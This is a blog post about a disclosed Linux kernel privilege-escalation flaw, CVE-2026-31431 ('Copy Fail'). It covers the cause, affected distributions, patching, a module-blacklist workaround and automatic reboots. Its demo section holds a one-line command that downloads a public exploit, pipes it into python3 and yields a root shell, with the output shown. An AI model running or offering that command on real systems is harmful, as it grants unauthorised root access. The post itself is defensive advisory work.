Copy Fail: CVE-2026-31431 Linux Privilege Escalation

Yesterday, a critical Linux kernel vulnerability was publicly disclosed — and it’s a bad one. A 731-byte Python script, downloaded and piped directly into the interpreter, is enough to give any unprivileged local user a root shell. No race conditions. No kernel offsets to guess. Just a straight-line exploit that works on every major Linux distribution going back to 2017.

If you run Linux servers — especially multi-tenant ones — you need to patch this now.

What is Copy Fail?

Copy Fail (CVE-2026-31431) was discovered by security researchers at Xint Code through automated analysis of the Linux kernel’s crypto/ subsystem. Their tooling flagged a logic error that had been sitting quietly in the codebase since a 2017 optimization to the algif_aead module. The name refers to the exploit’s visual metaphor: a dashed circle marks where a copy operation is supposed to land, while a solid disk cascades somewhere it shouldn’t.

The disclosure timeline was responsible and fast: reported to the Linux kernel security team on March 23, 2026, patched within days, CVE assigned on April 22, and made public yesterday on April 29.

How It Works

The root cause is a logic error in authencesn that chains through two kernel interfaces: AF_ALG (the kernel crypto API, accessible via userspace sockets) and splice(). By combining these in a specific sequence, an unprivileged process can manipulate the kernel’s page cache — the in-memory view of files — for setuid binaries like /usr/bin/su.

The page cache edit is non-persistent. Reboot and everything goes back to normal. But during a session, the resulting root access is fully functional.

I tested this on my own Debian Bookworm machine — and the usual disclaimer applies: don’t pipe random scripts from the internet into python3 on systems you care about. I ran this on a throwaway VM specifically for verification.

evgeni@bookworm:~$ curl https://copy.fail/exp | python3 && su
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   5940      0 --:--:-- --:--:-- --:--:--  5991
# id
uid=0(root) gid=1000(evgeni) groups=1000(evgeni),27(sudo),100(users)

731 bytes downloaded. su then drops you into a root shell, and id confirms uid=0 while still carrying the original user’s groups. The exploit targets /usr/bin/su by default, but any setuid binary would work as a vehicle.

Who Is Affected?

The vulnerability affects virtually all Linux distributions shipping kernels from 2017 onwards. Verified affected systems include:

• Ubuntu 24.04 LTS
• Amazon Linux 2023
• RHEL 10.1
• SUSE 16
• Debian, Arch, Fedora, Rocky, Alma, and Oracle Linux

Highest priority to patch:

• Multi-tenant hosts — any user becomes root
• Kubernetes and container clusters — cross-container and cross-tenant compromise becomes trivial
• CI runners and build farms — a malicious pull request becomes root on the runner
• Cloud SaaS platforms running arbitrary user code

Lower priority (but still patch): single-tenant production systems and single-user workstations.

Mitigation

The permanent fix is a kernel update that includes mainline commit a664bf3d603d, which reverts the original 2017 algif_aead optimization that introduced the flaw. Check your distribution’s security advisories for the specific package version.

Temporary workaround while you wait for a patched kernel:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

The first line prevents the module from loading on boot. The rmmod will silently fail if the module is currently in use by a process — in that case, you’ll need to identify the user (lsof / fuser) or simply reboot after the modprobe blacklist is in place.

Importantly, disabling algif_aead does not affect dm-crypt/LUKS, kTLS, IPsec, OpenSSL defaults, or SSH — the vast majority of systems will see no functional impact.

Keep Your Systems Updated — and Reboot

This exploit is a textbook example of why timely security updates matter. The patch existed before public disclosure. Systems that were already running updated kernels were never at risk.

If you are not already familiar with managing packages on Debian-based systems, I covered the basics in a previous post. For running multiple servers or VMs, manually updating everything gets old quickly. I wrote about how to automate it with unattended-upgrades, which handles security patches automatically in the background.

One thing I want to stress: updating is not enough — you must reboot for a new kernel to take effect. I had a machine that had received the patched kernel package but was still running the vulnerable one because it had never been rebooted. An updated system that hasn’t rebooted is still exploitable. You can automate reboots through unattended-upgrades by adding the following to /etc/apt/apt.conf.d/50unattended-upgrades:

Unattended-Upgrade::Automatic-Reboot "true";
Unattended-Upgrade::Automatic-Reboot-Time "02:00";

This will reboot automatically at 2 AM when a kernel update requires it — a reasonable trade-off for keeping your systems actually protected.

Disclosure Timeline

Final Thoughts

What stands out about Copy Fail is how clean the exploit path is. No kernel ASLR bypasses, no timing tricks, no heap grooming — just a logic flaw that’s been sitting in production kernels for nearly a decade. Automated analysis found it in about an hour of scan time. That’s both impressive and sobering.

Patch your systems, enable unattended-upgrades if you haven’t already, and make sure your machines are actually rebooting after kernel updates.